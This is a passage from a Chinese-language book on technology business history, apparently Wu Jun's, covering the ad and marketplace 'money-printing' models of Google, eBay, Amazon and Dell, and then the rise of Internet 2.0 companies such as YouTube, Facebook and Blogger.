的搜索广告全部是文字的。虽然文字广告不如图形的生动，但是它使得网页干净，更受读者欢迎。\n第二，对于同一个搜索所触发的不同的广告，要解决排名的问题。雅虎和百度基本上是按照付费高低排名，这样很多广告就和搜索的内容无关。雅虎的一位科学家 2006 年在斯坦福的一个学术会议上指出自己的这个问题。当人们在雅虎上搜索波音 747 时，ebay 的广告放在了第一位，因为 ebay 买了很多广告词（包括 747 ），同时付费又高；而 Google 没有同样的问题。这个问题如果不能自动解决，就不可避免要进行手工干预。\n第三，要能识别恶意点击骗钱。\n第四，要控制每个广告投放的节奏。比如某个公司愿意每天在 Google 上花一百美元同时对每个点击出价较高，可能每天早上一个小时它的预算就花完了，以后的二十几个小时，这家公司的广告就看不见了，对于一大早不上网的人就永远看不到这则广告。\n第五，要有自动收费并且识别无效信用卡和银行账户的办法。\n第六，也是最重要的，这个系统必须能自动修复。所有的数据必须保存很多份。当一台服务器宕机时，到达它的请求必须由其它同类服务器自动接过去。当整个一个数据中心出现故障后，到达这个数据中心的流量必须能在最短时间里自动转到附近的数据中心。\n这一类的技术问题还很多，就不一一列举了。Google 这种做法大大降低了全国性甚者全球性广告的门槛，深受中小企业欢迎。因此，Google 的广告系统一推出，就有很多商家加盟。在此以前 Google 已经有了非常大的搜索流量，现在 Google 逐步建立了自己的广告商联盟，一台完美的印钞机就建成了。每天有中小企业和个人到 Google 的广告系统上去登记、填表并提供付款方式，当天他们的广告就在 Google 上可以找到了。另一头，Google 每天有很多用户来搜索商业信息，他们总会有百分之几的时间是点击广告的，这样 Google 就收到了钱。这个系统完全是自动运行的，即使所有 Google 员工都回家睡觉了，只要不死机，Google 就不断地在收钱。可以毫不夸张地讲，今天 Google 百分之九十九的员工都离开公司去度一个月的假期，Google 这个月的营业额不会有太多的影响。\n这个印钞机另一个奇妙的地方在于，它可以通过机器学习（Machine Learning）不断完善自己，“印出”越来越多的钞票。当广告商和搜索用户数目超过一个阈值后，它们点击搜索结果和广告的统计信息就可以用来改进搜索和广告的匹配，使得广告和搜索的内容更加相关，点击率就会更高。这样广告的效果也会更好，广告商就越来越喜欢来做广告。\n在这台印钞机里，运营的成本就是数据中心的费用和带宽的费用，而间接的成本则是打造和改进这个印钞机的研发费用。在这台印钞机中，自动化程度必须到达一个阈值，它才能自动运转起来。而当它的自动化越高，成本就越低。相比之下，微软长期没有自己的广告源，自然就打造不出这个印钞机。而雅虎，长期对工程重视不足，它的广告系统自动化程度太低，没有达到成为印钞机的阈值，因此利润就上不去。\nGoogle 的广告模式，将传统广告业中三大成本削减其二，大大降低了整个运营成本，同时使得中小企业和个人在全球性媒体上做广告成为了可能。Google 靠着这种革命性的商业模式，拔得了互联网广告业的头筹。\n19.2 Ebay和亚马逊的在线市场\n在美国经常有人家在自己的前院和车库卖自家的旧货，称为Yard Sale和Garage Sale。比如孩子大了，小时候的玩具不需要了，家长就让孩子在自家前院摆个摊子，把玩具几毛钱或者几块钱卖掉，挣点零花钱。有时赶上搬家，旧的家具不再需要了，就在路口树个牌子，让邻居来减点便宜货。在美国一些城市，还有被称为跳蚤市场（Flee Market）的旧货市场，有时还真能捡到些好东西。1995年当互联网的热潮在全球兴起时，一位伊朗裔的美国工程师皮埃尔.奥米德亚（Pierre Omidyar）想出了一个奇怪的想法，将前院旧货和跳蚤市场搬上网，最初叫WebAuction，后来叫Ebay。据说当他去沙丘路找风投公司寻求投资时，别人问他要做什么，奥米德亚一句话就把他的意图说清楚了，他要做一个网上的跳蚤市场。不少风投公司的总合伙人们听了哈哈大笑，说：“我们是投高科技公司的，不是跳蚤市场的。”，不过在互联网的泡沫时代找钱总是很容易，何况把跳蚤市场搬上网绝对是一个前所未有的、非常好的想法。因此奥米德亚不到两年就找到了几百万美元的投资（其中仅benchmark 风投就投入了五百万美元）。\nEbay的商业模式一清二楚，非常容易明白，而且在美国有很好的根基。在美国除了有自家前院的旧货处理和跳蚤市场，还有很多卖旧车、旧家具等二手大件的报纸分类广告。现在Ebay提供了一个让卖旧货和买旧货的人沟通的平台。它让卖旧货的人把自己的东西放到网上（称为Listing）。比起几十块钱在当地报纸上登分类广告，向Ebay交一点点手续费既便宜，又能接触到的更大范围的买家，卖家都喜欢这种方式，于是在短时间里便有大量的卖家将自家的旧货堆到Ebay上出售。在另一头，Ebay采用拍卖的方式让买家自己商量价格，并且和卖家直接交易。这样，Ebay除了基本的运营费用，几乎没有其它成本了，它实际上等于坐收手续费。因此，在很长时间里，Ebay的毛利润率高达80%以上。\nEbay的商业模式是一个完美的印钞机模式。但是，要让这个印钞机运转Ebay必须解决两个问题，即信用问题和付款问题。由于在网上交易的双方不可能互相见面，一方甚至双方弄虚作假的情况很难避免。Ebay的解决办法是让买卖双方互相给对方评估打分，久而久之，每个Ebay的用户都有一个评级和交易的记录，包括正面评价的次数和百分比以及最近交易的细节。这样在Ebay上交易就多少让人放心一点。接下来Ebay必须解决网上付款的问题。以前的主要支付方式是现金，支票和信用卡，这三种方式对于Ebay的交易双方都不合适。由于买卖双方无法见面，现金就无法使用了。而支票交易也很不方便，一方面卖家很怕收到有假支票（一百元的帐户里开出一千元的支票），另一方面买家也怕对方收了支票不付货，何况支票寄来寄去也要耽搁时间。信用卡本来是较好的在线支付方式，但是，个人和很多小商家无法接收信用卡。另一方面，顾客普遍不太放心将信用卡信息交给不认识的小商家。这样Ebay就需要一种专门针对网上交易的支付方式，于是它花高价收购了Paypal公司，解决了这个问题。这样，Ebay的印钞机就打造完成了。\nEbay“印出”的钞票数量取决于交易量和交易金额，显然，光靠卖点旧货是不能维持持续指数增长的。因为除了败家子，没有人能每天把自家的旧货拿到Ebay上拍卖。Ebay不显山露水地进行了一次商业模式的小转变，渐渐地从网上跳蚤市场转变成了网上自由市场。Ebay开始帮助电子商务的小商家通过Ebay开设自己的商店。Ebay为它们提供了一个不需要花钱为自己的网站做广告就能接触到全球消费者的场所，而这些小商家将一部分销售所得作为交给Ebay的提成。这种商业模式实际上是对传统的零售商业模式的一种颠覆。在传统的商业模式中，广告是获得消费者群的几乎唯一的方式，因此广告的成本成为了商业成本的一部分。而在Ebay上开商店，则是将广告费转成了Ebay的挂牌费（Listing Fee）和（很低的）销售提成。电子商务的小商家很容易算清这笔帐，是自己打广告宣传自己的网站好还是通过Ebay做生意好。Ebay很容易将自己的收费控制得比传统的广告成本低，于是大量的从事电子商务的公司和个人都到Ebay上去卖东西。这时Ebay卖的不再是跳蚤市场上的旧货了，而主要是全新的消费品。事实上，Ebay上面商品的数量比世界上任何一家连锁百货店都多。去过Ebay的读者可能注意到了，它上面的一些用户做了几万甚至几十万笔交易，这些人当然不是个人，而是电子商务的零售和批发店。现在在Ebay上出售的商品主要来自这些商家，而不是自家的旧货。当然，大量个人在Ebay上的买卖行为为Ebay贡献了足够的人气。Ebay从此搭上了电子商务的快车。\n电子商务无疑是当今世界所有国家发展最快的商业领域。根据美国国家统计局最近对近十年电子商务发展的统计表明，电子商务在整个零售商业中所占的比例一直呈直线发展的事态（见下图），从十年前的百分之零点六，上升到今天的百分之三。到2008年第二季度，美国电子商务市场的规模已经达到了每季度1350亿美元的规模。即使是在经济衰退的2008年，电子商务的营业额也也比去年同期增长了20%，而商业零售的同期增长只有1%。在快速发展了十年后，电子商务也不过占到了零售业的3%，因此它的前景依然十分看好。Ebay从1998年上市到2005年，它不仅营业额和利润一直好于华尔街的预期，而且是唯一一个股票回报率一直超过大盘的公司。1998到2005年美国股市经历了大牛市到大熊市再回到牛市的过程，像思科和苹果这样的明星科技公司，在牛市中比大盘表现好，而在熊市中跌得比大盘还要快，而像波克夏哈萨韦这样保守的公司，虽然在熊市中非常抗跌（实际上在2001到2003年美国股市下滑三分之一时，它还在增长。），但是在1998-2000年的牛市时它的表现并不好。Ebay是唯一能够在那七年中一直表现良好的公司，这在很大程度上归因于它搭上了电子商务的快车，而在整个电子商务中，Ebay的商业模型又是最简单有效的。\n 图19-3电子商务发展情况\nEbay面临的最大问题不是电子商务的饱和，因为这在短期内不可能发生，而是如何能最有效地防止网上交易的欺诈行为。尽管Ebay一直在不遗余力地和欺诈行为做斗争，但是一直没有能彻底制止这种现象。首先，一些不法商家，利用Ebay出售伪造的名牌商品、盗版书籍和音像制品，坑害了许多消费者，并且直接伤害到Ebay的信誉。这些不法商家不仅很难跟踪，而且即使抓住，也赔不出多少钱，因此一些名牌厂家和消费者转而状告Ebay。2007年英国泰晤士报报道，哈利波特的作者状告Ebay卖盗版书，同年路易威登状告Ebay销售假冒LV品牌的商品，向Ebay索赔三千七百万欧元，而此前著名首饰商第凡尼（Tiffany）也向法庭提起了类似的诉讼。（http://www.timesonline.co.uk/tol/news/uk/article1437673.ece）还有一些欺诈团伙，利用Ebay的交易反馈（评论）系统的漏洞，先以很便宜的价钱卖掉一些几块钱的小商品，获取很高的正面反馈比例（Percentage of Positive Feedback），然后卖几百几千美元的大件商品，收了钱就逃之夭夭了。更有甚者，这些人还会以别人的地址注册Ebay的商店，当联邦调查局（FBI）的人按照Ebay上的地址找到这些一头雾水的居民时，他们才发现自己的个人信息和家庭地址被犯罪团伙滥用了。这些问题严重影响了Ebay以及Ebay上很多商家的声誉，使得很多顾客即使觉得Ebay上的商品价格便宜也不敢去买。虽然Ebay采用了Paypal支付系统后，靠Paypal的地址确认方式杜绝了一些欺诈行为，但是，各种各样的欺诈在Ebay上仍然层出不穷。\nEbay商业模式的根本缺陷在于，它无法控制买卖双方的资金流动，因此很难根治网上商业欺诈。从2005年以后，在Ebay上买东西越来越不让人放心，Ebay的成长呈现出饱和的态势。在一些季度里，它除去在线支付部门Paypal后营业额的增长只比通货膨胀率高一点。而在电子商务领域挑战Ebay的是亚马逊（Amazon）。\n亚马逊始于在线书店，在较长的时间里很难说它是否是一个技术公司。它的创始人Bezos是一位纽约华尔街的分析师。亚马逊里面一直讲述着这样一个Bezos创立公司的玩笑。在互联网刚开始起步的1994年，Bezos决定自己开一家网上收货的公司。他知道硅谷有许多优秀的工程师，于是驾车横跨北美大陆从大西洋边上的纽约一直开到美国西部太平洋的海岸，快开到美国西岸时，Bezos走错了路，本来该南下到加州硅谷，却北上到了西雅图。后来他发现西雅图同样有大量优秀的工程师，就决定在那里发展，办起了亚马逊。实际上，Bezos选择西雅图而不是加州的原因主要是为了让加州顾客省去高达8.25%的销售税，以刺激亚马逊的销售。在美国，通过互联网从外州购物，可以免去本周的销售税。（这个做法颇有争议，当时的总统克林顿决定将这个问题暂时搁置起来，这在一定程度上刺激了电子商务的发展。）加州的居民占美国人口的十分之一强，以及在线购买力的五分之一，出于这一点考虑，网上的商店不宜建在加州。\n亚马逊的电子商务在早期以售书最为成功，这原因是买书不像卖衣服，不用“试”，而且不能随便退货，因此比较适合在网上销售。借着上个世纪末互联网高速发展的春风，亚马逊只用的七年时间就到达了美国最大的连锁书店Barnes & Noble花了一百三十年才达到的营业额（2002年亚马逊的营业额达到的三十九亿美元而同期Barnes & Noble为三十七亿美元）。即使在互联网泡沫破碎后的2001年，亚马逊不但没有关门，而且首次实现盈利。当然，光靠在网上售书，亚马逊的发展用不了几年就会到头。但是，亚马逊将它的商业模式略作修改，一下从世界上最大的在线书店发展到美国的在线百货店，从此它获得了可持续发展的空间。\n亚马逊的网站包括自己的网上商店和其它电子商务公司的网上零售店，就好比一个百货商厦中既有自己的柜台也有厂家直接负责的租赁柜台。和百货商厦不同的是，亚马逊租赁柜台的“营业面积”可以无限大。对于互联网上的各种大小商店，它们即可以通过自己打广告做生意，也可以到亚马逊去租一个柜台，这就像一些厂家可以自己开销售门市部，也可以到商厦租赁柜台一样。当然很多在线商店会选择同时保留这两个种方式。和Ebay不同的是，在亚马逊开“商店”所有的交易必须通过亚马逊完成。当一个顾客要到亚马逊上的某家商店，比如卖照相机的beach camera，来买东西，他看好货以后，将钱付给亚马逊，同时通知beach camera发货，beach camera除了知道顾客的地址外，不知道任何顾客支付信息，比如信用卡号。当beach camera发货后，亚马逊将钱（扣除手续费后）付给beach camera。如果顾客在亚马逊规定的时间内没有收到商品，他可以告诉亚马逊，亚马逊会退钱给顾客。（当然，它也会从商家把钱要回来，如果要不会来则由亚马逊或者保险公司承担客户的损失。）亚马逊还规定了每种商品的最高计费，避免了一些商家以低价格吸引顾客，然后收取高额邮费的做法。（在Ebay上，有些商品标价一分钱，却要收取十几美元的邮费。）亚马逊为每一笔交易买一笔保险，这样一旦出现了有意的欺诈行为和无意丢失商品，保险公司将支付亚马逊的损失。\n从亚马逊买东西，顾客大可以放心，因为它会为顾客保守信用卡信息并且负责每一笔交易的顺利完成。近几年来，随着消费者对互联网上的信息安全越来越关注，大家对Ebay这种甩手掌柜的模式越来越缺乏信心，而对亚马逊这种集中式管理并且负责到底的模式越来越接受。因此，从2006年起，亚马逊上的在线商店数量增长很快，交易量每年以两位百分数增长。当然，亚马逊为了防止其它在线书店和它自己的核心业务竞争，它对于其它商家卖自己商店里没有的商品比如电器，收费非常低，而对于卖书和其它亚马逊自己主推的商品，收费非常高，这样鼓励那些补充它自己商业覆盖面的商店。\n亚马逊的在线商厦和在线交易处理的平台一旦完成，它也就成为了一台印钞机。只要不断有商家在亚马逊开店，只要不断有顾客到亚马逊找东西，它就不需要花任何人力，就可以自动挣到钱。而亚马逊要做的事就是把这个平台管理好。亚马逊的印钞机比Ebay的好处是它能让消费者放心，因此长期发展的潜力更大。\n19.3 戴尔的虚拟工厂\n一个传统的制造业需要通过产品设计、原料采购、仓储运输、加工制造、订单处理、批发经营和零售七个环节才能收回投资、获得利润。（当然，产品需要市场推广和广告推销。）一个企业或者投资人，需要先投入资金，然后经过这么一大圈才能挣到钱。所有的公司总是在尽可能降低各个环节的成本，以获得比同行更高的利润率。六十年代，日本人在将工厂里的生产流水线的概念扩展到仓储运输和整个加工制造中，大大降低了制造业的成本。在很多日本工厂里，没有库存零件，当第一批零件用完了，第二批已经用汽车送到，而第三批正在路上，第四批在上家的流水线上。同样当产品一下流水线，开往港口的汽车已经准备装货了。这种高效率，使得“日本制造”打败了美国和欧洲制造，迅速占领了世界市场。为了进一步降低成本，欧美日大公司开始在东南亚和中国建工厂，将加工制造这个环节的成本压到了最低。\n其实，最聪明的办法是直接减少其中一个或者几个环节，这样资金从投入到收回最快，利用率最高，这方面做得最好的是计算机制造商戴尔（Dell），它将上述七个环节减少到两个，使得它打败各家兼容机成为世界上最大的计算机制造商之一。\n戴尔公司以它的创始人麦克戴尔名字命名。戴尔和盖茨、乔布斯一样，也是一个没有读完大学的创业者。和中关村无数攒PC的人一样，戴尔1984年还在奥斯丁的德州大学读本科时就开始攒PC机卖。一个暑假他挣了一辆宝马汽车，尝到攒PC机甜头的戴尔干脆退学专职攒PC，并且成立了戴尔公司。戴尔公司相比当时的IBM，甚至兼容机的龙头老大康柏（Compaq）没有什么技术优势可言。在二十世纪八十年代PC机起步时，比戴尔大的兼容机公司不计其数。但是戴尔在商业模式上改进了传统制造业从设计到销售的过程，使得戴尔计算机的价格比其竞争对手低得多，市场占有率渐渐成长起来，到2000年终于成为美国最大的个人计算机制造商。\n和很多制造业外包一样，戴尔为了降低成本干脆不设工厂，而由东南亚主要是台湾的OEM工厂加工。这样，它就不需要投入资金于建工厂和维持工厂的开销。接下来，戴尔干脆将产品设计也外包了。自己攒过PC机的读者会知道，PC机的设计其实没有什么学问，和搭积木差不多。至于原料采购，戴尔每年和英特尔、AMD、Seagate等几家主要PC的芯片和配件生产厂商谈好协议，由这些公司直接将货发给那些OEM厂，便省去了原料采购和一半的仓储运输的环节。（计算机成品从OEM厂到顾客的仓储运输现在尚未省去。）最后，戴尔在销售渠道上做文章，将批发和零售商的利润降到最低。\n像计算机这样的产品，过去设计、制造和销售（包括市场推广）分别占售价的三成、三成和四成。也就是说零售价在一万人民币的微机，制造成本只有三千元，开发成本也大致这么多，而广告和批发零售的耗费和利润占掉了四千元。现在戴尔把开发和制造的成本压到了最低，现在开始打批发和零售商的主意了。戴尔一直坚持直销，它基本上不设批发商，在很长时间里也很少通过零售商分销。戴尔有自己的销售人员负责向企业级的大客户推销产品。而对于个人和小企业，戴尔以前只提供电话订购、邮购和网上订购等购买方式。近几年为了和惠普争夺市场份额，戴尔才通过沃尔玛和Costco等连锁店出售电脑。戴尔的直销方式很简单，它像顾客发放各种配置的计算机的价格表，上面个人计算机的价格比其它品牌计算机的零售价会低很多。很多顾客会被它的价格吸引，打电话或者上网选一个型号并提供给戴尔自己的付款方式就行了，整个过程不需要五分钟时间。戴尔得到的订单，直接通知它在台湾和中国的OEM工厂。工厂每天在生产线生产出订单数量上的计算机，然后按照戴尔提供的地址发货。这些成品计算机根本不需要经过戴尔就到达了顾客手中。这样戴尔将仓储运输的另一半也省掉了，因此戴尔根本不需要有仓库。上面戴尔这种直销方式不仅省去了批发和零售的成本，大大降低了产品的价格，而且在价格上非常透明，也省去了个人消费者讨价还价的麻烦。戴尔开发了一个在线的订购系统，在一头顾客在上面填自己要买的计算机配置和个人信息，另一个自动通知工厂生产和发货，利润就自动流入戴尔公司了。这是一个典型的印钞机式的商业模式。戴尔唯一要做的事就是牢牢控制住订单处理和零售（主要是市场推广）这两个环节。\n与戴尔同时开始制造兼容机的公司不计其数。中国的国有计算机公司长城公司几乎与戴尔同时诞生，但是却走了一条自己当时颇为自豪，但现在看是大弯路的所谓“技、工、贸”相结合的道路，现在即使在中国市场也不多见，更不用说在国际上竞争了。长城公司自己开发微机全部软硬件，自己在广东建厂，自己采购元器件，有自己的仓储，最后还发展了一大批批发和零售代理商。大家不难看到，长城公司处处走的是和戴尔公司相反的路线。当长城计算机公司很自豪地拥有了这一切时候，它的资金利用率已经比戴尔低了很多，而它的产品的价格却高了很多。在全球化的今天，这种所谓技工贸结合的模式是无法和戴尔这种用钱直接生钱的印钞机模式相竞争的。\n戴尔公司过人之处不在于其技术和市场能力，而在于它将传统的制造业的七个环节简化到两个，这是一个了不起的商业革命。正是靠着这个革命性的商业模式，戴尔才能从众多兼容机厂商中脱颖而出，成为全球主流的微机生产厂商。\n结束语\n好商业模式对于一个公司的成功是必不可少的，而最好的商业模式就是印钞机式的，它不需要多少人力，一旦运作起来便能自己产生利润，持续发展。\n第20章互联网2.0\n2007年夏天， 沙丘路的一家风投公司找上我，希望帮助评估一个互联网3.0 的商业计划书，因为这些合伙人觉得这个概念太前卫， 自己已经拿不准了，因此从外面请人来评估。我当时就问他们互联网2.0的概念是否完全定义清楚了，如果还没有，谈论3.0是否太早，他们自己也觉得确实好像是这样。在2007 年，一个定义并不十分清楚的互联网2.0 ，已经被炒得很热，短时间里出现了无数试验和炒作这个概念的公司。互联网2.0当时不仅是科技界最热门的话题，而且有很多风险投资的钱（估计至少有数十亿美元） 投入到各种真的和假的互联网2.0公司中。而我所说的这家风投公司当然也不例外地多多少少投了一些钱。到2008 年底，风险投资的数十亿美元随着金融危机的到来基本上全打了水漂，除Facebook 和Twitter外，这些形形色色的互联网2.0公司当年引人入胜的故事便都没有了下文。\n从另一个角度讲，虽然互联网2.0在概念上至今依然有争议，但它已经实实在在地存在着，像Facebook 这样的公司也确确实实与以往的互联网公司大不相同。至于它是否可以成为今后互联网的主流已经不重要了，因为它的很多概念已经被早期的五联网公司所接受，并且这些公司也在往这个方向靠拢。\n要了解互联网2.0，我们必须从互联网的诞生和人们使用互联网习惯的变化谈起。\n20.1互联网的前世今生\n我们在前面的不少章节中已经多次谈到了互联网的诞生和发展，这里就不再赘述了。现在我们要看看互联网的变迁，以便预期今后的发展。\n互联网的发展很大程度上带动了过去15 年世界经济的发展。图20－1 展示了互联网发展和美国经济增长的关系。阁中的横轴是年代，纵轴是美国GDP 每个季度的成长盘，圆圆是互联网发展的大事记。但凡互联网产业有长足进步时，美国的经济都是向上的。虽然它们之间并不是什么因果关系，但是可以看到互联网的发展和经济的发展是一致的。\n图20-1美国GDP增长与互联网的关系上个世纪80 年代末到90 年代初，由于冷战的结束，美国和西方主要工业国的军事工业和航天工业遭受到灭顶之灾。在美国军工和航天最集中的洛杉矶附近的橙县（ Orange County ）竟然出现了县政府破产的情况。因为没有了工业就没有了税收，没有了税收， 县政府财政就入不敷出，情况严重时只有破产。整个美国陷入了短暂的经济危机。但是另一方面，由于冷战的结束，全球化成为世界不可逆转的趋势，全世界对于开放的信息交流的需求大增，互联网因此得到了长足的发展，并且带动美国经济走出低谷。\n互联网商业化历史上第一件大事当属1993 年思科公司的上市，恩科算不上是互联网公司，但是它的业务和互联网的发展息息相关。当时互联网正从学术界向商业化转变，对于网络设备的大量需求造就了思科的神话。在上个世纪90 年代，思科是少有的增长超过微软的跨国公司。\n如果说思科为互联网的全球普及准备好了硬件设备，那么网景公司则为互联网的用户开发了访问互联网的手段。在网景公司推出它的浏览器之前，上网的操作是非常复杂的，只有相当熟悉计算机的人才能通过一些很难用的软件使用互联网。网景公司的浏览器使得任何会用鼠标和键盘的人都能透过互联网浏览和传递信息。网景公司也因此在短短的时间里成为IT 行业最热门的公司。这是1995年的事。\n早期的互联网上的内容非常少，大家使用互联网，主要的目的是发电子邮件和上留言板BBS。1997 年，已经将发展互联网业务上升到战略高度的微软以4亿美元左右的价钱买下了我的朋友杰克·史密斯（JackSmith）的免费电子邮件公司Hotmail。据杰克讲，当时Hotmail的流量超过整个互联网流量的一半。我开完笑地问他是否觉得卖亏了，因为按照1999－2000年的价钱它可以卖到40亿。杰克说，他一直觉得卖给微软是个正确的决定，因为他自己不知道怎么从免费的电子邮件挣钱，虽然他知道免费电子邮件非常重要。事实上，微软收购了Hotmail后，电子邮件在互联网的流量渐渐下降，而且再也没有提升过。\n在互联网发展中比微软更有眼光的是雅虎的创始人杨致远和菲洛，他们了不起的地方在于当互联网上的内容还很少时，他们就注意到了互联网内容的重要性。一方面他们整理和索引互联网的内容，另一方面他们干脆自己把本来离线的内容搬到网上，这样就开创了互联网门户网站。这个举措得到了全世界的认同，短短几年间，从美国到日本再到中国，门户网站之风席卷全球。到2000 年世界上流量最大的网站全部是门户网站，在美国是雅虎、MSN 和Excite 等在中国则是新浪、搜狐和网易三大门户网站。\n门户网站的特点是网站处于互动的主动一方，而用户处于被动的一方。门户网站提供上网方式（ 至今雅虎、MSN 都还和电信公司一起提供DSL 等第用户上网的服务），提供内容，并且引导用户访问他们感兴趣的网站。最后一条服务很大程度上是依靠分类目录和搜索引擎来实现的。信息流单一地从门户网站和二级网站向用户推送，这和传统的媒体一一报纸，广播和电视完全相同。用户唯一可以发言的地方是留言板BBS 。但是， BBS 很难完整记录一个人一贯的思想和观点。当然，有免费Web Hosting 的用户，比如学校的学生可以建自己的网页，但是个人网页的内容大多是静态的，而且它们本身也是向其他读者推送信息。因此，很多人把雅虎看成一家传媒公司，而不是技术公司。它甚至一度和传统的媒体公司迪斯尼合并。\n而当时拥有第二多用户数量的互联网公司美国在线，已经走出了这一步。\n2000 年它和传统的媒体公司时代华纳（ Time Warner） 公司合并，组成了当时世界上最大的传媒公司AOL ，后来改回时代华纳，因为作为传媒公司，时代华纳的名头更响。今天大家已经认识到这种并购没有什么意义，因此两家公司又将重新分开。由此可见，在10 年前，网民想通过互联网向公众提供信息的渠道依然很有限，而要想通过互联网为社会提供服务更是没有可能。\n在五联网1.0时代，网民（包括个人和团体）想拥有发言权唯一的途径是自己创办网站，而有好的主意和技术并想通过互联网为社会提供任何服务，更是需要先办一个网站。因此到2000 年前后，全世界各种网站像雨后春笋般涌现出来。当然， 互联网的商业基础电子商务和在线广告是无法支持这么多网站的。而事实上全世界也不需要这么多网站一一很多网站的用户门可罗雀。因此， 一年后当风险投资的钱和通过上市行动融资得到的钱烧完了以后， 99％ 的网站也就都关门大吉了。\n从2000 年底到2002 年，互联网泡沫崩溃。但是这种崩溃更多是针对投资者和工业界而言，虽然一百家互联网公司剩下不到一两家了，但是对于用户来讲， 并没有什么崩溃的感觉。该有的服务还是有，而且基本上还是免费的。虽然很多人认为互联网的免费午餐可能结束，并且一些网站考虑并尝试收费，但是很快所有的互联网公司又回到了免费的轨道上。整个产业界最大的变化就是Google 的崛起并且迅速成为世界第一大互联网公司。\nGoogle 再次证明了利用广告维持互联网运营并且提供免费服务的商业模式适合于互联网。从此，这个商业模式成为所有互联网公司必须遵守的规则。互联网泡沫崩溃，至少有一点好处就是清除了那些浪费资源而没有太大价值的中小网站。为互联网2.0的发展铺平了道路。\n20.2 互联网2.0的特征\n互联网2.0很难像一个数学或物理学的概念那样有个明确的定义。至今没有一个定义能为所有人接受。实际上，这样的定义甚至不重要，因为互联网2.0已经实实在在地存在了。\n虽然很多公司自称是互联网2.0， 实际上不过是在炒作这个概念。一家互联网2.0公司必须具备下面全部，至少是其中的一些特征。\n首先，必须有一个平台，可以接受并且管理用户提交的内容，并且这些内容是服务的主体。当然， 这里面用户的内容不是指在BBS 灌水， 而是实实在在的资讯、信息和基于各种媒体的娱乐内容。一个很好的例子是YouTube ，它提供了一个很方便的平台，让用户可以发布自己的视频录像。\nYouTube 有很好的工具可以组织和管理这些视频内容。虽然10年前就有不少网站可以“host” 视频内容，但是，它们只是为用户提供存储空间，而其他用户既不容易找到这些内容，也无法实时在线观看它们。视频的提供者通常要把url 链接送给朋友，而对这些内容有兴趣的少数人， 必需要在夜深人静网络“不太忙”时，下载或观看这些内容。因此，这些网站并不为广大的用户提供视频服务。从本质上讲，它们更像一个图书馆而不是电视台。YouTube 则不同，它在接受用户提交的内容时，也提供其他用户使用这些内容的工具。和以往各个视频托管（ Video Hosting） 网站不同的是， YouTube 甚至可以允许用户在YouTube 上开设自己的频道，这样它就完完全全扮演起电视台的角色了。80 多岁高龄的英国女王最喜欢YouT ube 的这项功能。以前，即使是女王要想告诉公众什么事，无论是节日的问候还是她日常的生活，都得找BBC 电视台，约好时间到她的王宫，制作好节目后，让她审核，然后再广播出去。也就是说，个人包括女王的声音，必须通过媒体才能传达给大众。哪天女王心血来潮，想谈谈她的起居，那是很难实现的。现在，女王自己在YouTube 上开了频道，让王宫里的录像师把自己日常生活告诉给民众。在她的频道上，经常是皇家如何做点心，如何种花这类琐事。\n其次，甚至比第一点更重要的是提供一个开放的平台，让用户可以在平台上开发自己的应用程序，并且提供给其他用户使用。这一点是Facebook最大的特点。在Facebook 上有上百万的软件专业人员和爱好者，基于Facebook 开发了成千上万的小软件。在Google 和MySpace 的OpenSocial 平台上，人们也在做类似的事情， 只是影响力远没有Facebook 大。\n有了这样的平台，想要开发网络应用工具的人，就不需要办一个网站或互联网公司，就可以实现自己的目的，并且通过Facebook 或MySpace 庞大的用户群将自己的服务和产品推广出去。\n第三，交互性。早在2000 年以前，就有人提出一种通过互联网实现一种“我可以进你的计算机， 你可以看我家的电视”的交互通信和信息共享的境界。\n这是互联网2.0最应该有的特征之一，但是由于技术上的难度和对网络安全的担心，这个特征至今还停留在非常态的层面上， 比如在博客上留言和讨论，进入朋友的虚拟房间，甚至一个朋友的Email 账户（这造成了很大的安全隐患， Facebook 也因此给用户带来很多安全隐患） ，但依然不是真正的资源共享。即使如此，这种交互性已使得互联网上的社交越来越普及。\n第四， 非竞争性和自足性。互联网2.0公司是通过提供交互的网络技术和资源，将互联网用户联系起来，使得这些用户自己提供、拥有和享用各种服务和内容，是一种自足的生态环境。而互联网2.0的公司不应该过多主导内容和服务，不应该参与和用户的竞争。以YouTube 为例，它host 的内容是用户（包括个人和专业的传媒公司）提供，它自己并不制作和拥有内容， 与其他提供内容的用户竞争。从这个角度看，它们更像电信公司，而不是传媒公司。\n很多自称互联网2.0的公司并不具备这些特征。以国内众多视频网站为例，虽然很多貌似YouTube ，但是其主要内容是由网站自己提供（直接的或变相的） ，而非用户提供的（这可能和中国的新闻制度有关） 。因此，他们像过去雅虎等公司一样，虽然给了用户一个发布自己内容的平台，但是实际上支撑它们流量的是靠它们自己提供的内容，说得更直接，就是将电视台搬到了网上。以前雅虎新闻是将报纸搬到网上。世界上，真正具备Facebook 那样可以让用户开发并提供服务的互联网公司其实非常少。而所有视频内容均来自于使用者而非网站本身的视频网站，也只有YouTube 一家。按照这个要求，在中国只有人人网、新浪微博和腾讯微博符合这项标准，腾讯的Qzone 勉强符合这个标准一一它具有自足性，但是不具有非竞争性。\n早期的互联网发展经过了五六年的群雄争霸的局面，才形成以雅虎、MSN 等大型门户网站为主导的生态环境。而互联网2.0和早期互联网一个很大的不同在于它们在极短时间（一年左右）里便主导了一个很大的领域或一大群用户。在中国以外的地区， YouTube 主导了全球的在线视频业务，很多家庭摄像机都有一个将自己录制的视频节目直接上传到YouTube 的按键。Facebook 主导了大学生和30 岁以下年轻人的网络交际，而MySpace 主导了中学生的上网活动。\n20.3 著名的互联网2.0公司\n20.3.1 Blogger\n最早称得上互联网2.0的公司是后来被Google 收购的博客网站Blogger ，虽然这家公司的产品现在已经不太酷了，而且有点过时了。\n博客，即blog ，最早出现在1998 年，实际上是让人在网上写日记，并且与友人分享。在五联网1.0 时代，能够让互联网终端用户发言的地方只有留言板BBS 。但是，留言板是围绕主题而不是围绕作者展开的，因此不适合专栏作家等专业人士使用。留言板的管理权属于版主。版主有权力删除他认为不合适的言论， 这让很多人，尤其是强调言论自由的人认为“很不爽” 。博客是留言板的扩展，但已经完全超出了BBS 的范畴。博客使得每一个人都可以在互联网上拥有一块自己的空间，在那里他是所有者和管理者。\n这两点很重要，它保障了博客从早期只是一个写日记、写感想的地方，变成了为普罗大众所拥有的、不花钱办的报纸、杂志和出版社。几百年来，虽然言论自由一直得到民主国家的宪法保护，但是发表言论并不方便。传统的平面媒体， 例如报纸，掌握在报社手里，任何人可以投稿，但是报社有权力选择是否刊登。由于记者、评论员和撰稿人，它们都隶属于报社，而报社是核心， 